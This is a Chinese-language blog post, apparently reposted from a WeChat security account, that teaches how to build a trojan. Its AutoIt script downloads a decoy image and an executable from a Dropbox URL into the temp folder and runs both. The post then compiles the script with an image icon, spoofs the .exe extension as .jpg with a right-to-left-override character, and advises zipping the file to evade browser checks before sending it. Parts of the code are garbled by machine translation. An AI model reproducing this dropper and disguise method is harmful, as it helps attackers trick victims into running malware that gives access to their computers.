特洛伊木马（或特洛伊木马）是可能感染您的计算机或移动设备的最常见和最危险的威胁类型之一。

什么是木马恶意软件？

木马恶意软件，打开时似乎是用户打开的合法文件，例如打开图像或文档或播放媒体文件，但在后台，它会运行一些邪恶的进程，例如有人可能通过后门或注入一些其他有害代码。

创建我的木马恶意软件

在这篇博客中，我将向您展示如何将我的可执行文件与图像文件结合起来，并且在打开时，它能够在目标人打开它时显示图像，但同时可执行文件在后台运行。简而言之，我将.exe文件隐藏在.jpg图像文件中。

此方法可以扩展到任何文件类型，如图像、pdf、音乐等。大多数情况下，可执行文件是病毒或用于访问目标计算机的后门。我们来看看步骤：

1. 获取图像和.exe文件的直接 URL

可执行文件.exe需要出现在公开可用的 URL 上，浏览器可以从该 URL 直接下载该可执行文件。为此，我已将可执行文件上传到 Dropbox 上。对于 dropbox，将可共享链接的末尾部分修改为dl=1将允许浏览器直接下载文件。我在下面共享的链接不包含任何代码，实际上是一个空文件，因此您可以安全地测试此链接的行为。

可执行文件的 URL .exe：https://www.dropbox.com/s/hsnvw0ik1em0637/some_evil_file.exe ?dl=1

图片的网址： https://images.adsttc.com/media/images/5b04/5e3a/f197/cc1f/9600/00aa/newsletter/park_garden_concourse.jpg

我使用了体育场馆的图像作为封面。

2. 在脚本中使用 URL

#include <StaticConstants.au3> 
#include <WindowsConstants.au3>本地 $urls = "url1,url2"本地 $urlsArray = StringSplit($urls, ",", 2 )对于 $url 在 $urlsArray 
$sFile = _DownloadFile($url) 
shellExecute($sFile)下一个Func _DownloadFile($sURL)
    本地 $hDownload, $sFile 
    $sFile = StringRegExpReplace($sURL, "^.*/", "") 
    $sDirectory = @TempDir & $sFile 
    $hDownload = InetGet($sURL, $sDirectory, 17 , 1) 
    InetClose($hDownload)
    返回 $sDirectory 
EndFunc ;==>_GetURLImage

在上面代码的第 3 行中，替换url1为图像的 URL 和url2可执行文件的 URL。我的最终代码如下所示

#include <StaticConstants.au3> 
#include <WindowsConstants.au3>
本地 $urls = " https://images.adsttc.com/media/images/5b04/5e3a/f197/cc1f/9600/00aa/newsletter/park_garden_concourse.jpg ,https://www.dropbox.com/s/hsnvw0ik1em0637/some_evil_file.exe?dl=1 "
本地 $urlsArray = StringSplit($urls, ",", 2 )
对于 $url 在 $urlsArray 
$sFile = _DownloadFile($ url) 
shellExecute($sFile) 
Next 
Func _DownloadFile($sURL)
    本地 $hDownload, $sFile 
    $sFile = StringRegExpReplace($sURL, "^.*/", "") 
    $sDirectory = @TempDir & $sFile 
    $hDownload = InetGet ($sURL, $sDirectory, 17, 1) 
    InetClose($hDownload)
    返回 $sDirectory 
EndFunc ;==>_GetURLImage

使用扩展名保存文件.au3。我已将该文件命名为trojan.au3.

3. 为文件创建图标

由于我使用图像作为封面文件，Windows通常将图像的缩略图显示为文件图标，因此我将使用体育综合体图像作为图标并将其转换为.ico格式。你可以用谷歌搜索它，你会发现很多工具可以做到这一点。我使用这个网站 - https://cloudconvert.com/jpg-to-ico

4. 编译脚本

该脚本是用一种称为 的脚本语言编写的AutoIt。AutoIt要在 Ubuntu 中安装，您可以安装wine并安装AutoIt，或者如果您想要一种简单的方法，请Veil按照此处提到的步骤进行安装https://www.javatpoint.com/installing-veil。AutoIt将在其中一个步骤中进行安装，然后您可以退出安装。

打开编译 AutoIt 应用程序。该窗口应类似于下图所示的框。输入文件的位置trojan.au3和文件的路径.ico。

转换后的文件在 Windows 机器上看起来像这样。

嗯，有些不对劲。该文件的问题在于其扩展名。很明显它是一个可执行文件，因为它的扩展名是.exe. 我们需要欺骗这个扩展。

5. 欺骗“.exe”扩展名到任何扩展名

为了欺骗明显的扩展名.exe并将其替换为.jpeg，我们将使用一个right-to-left-override字符。

要了解欺骗实际工作原理以及角色放置位置的详细信息right-to-left-override，请阅读博客。

欺骗文件扩展名——道德黑客

文件扩展名欺骗是创建木马时的一个方便技巧。我将把“.exe”扩展名欺骗为“.jpg”……

levelup.gitconnected.com

总结一下上面博客中提到的步骤：

• 重命名trojan.exe为trojangpj.exe.

• 将字符粘贴right-to-left-override到trojan后面的第7个位置。该字符之后的所有字符right-to-left-override将被翻转，即从右向左读取。

文件名现在看起来像trojanexe.jpg

由于文件中包含的图像是一个体育中心的图像，因此我将trojan名称替换为sportscompl_，以便文件名显示为sports_complexe.jpg.

恭喜！！！木马已准备就绪。

现在文件名与包含的图像匹配。一些最新的浏览器在下载之前删除了从右到左的覆盖。因此，最好将文件压缩并发送出去。

原文始发于微信公众号（KK安全说）：怎么做一个木马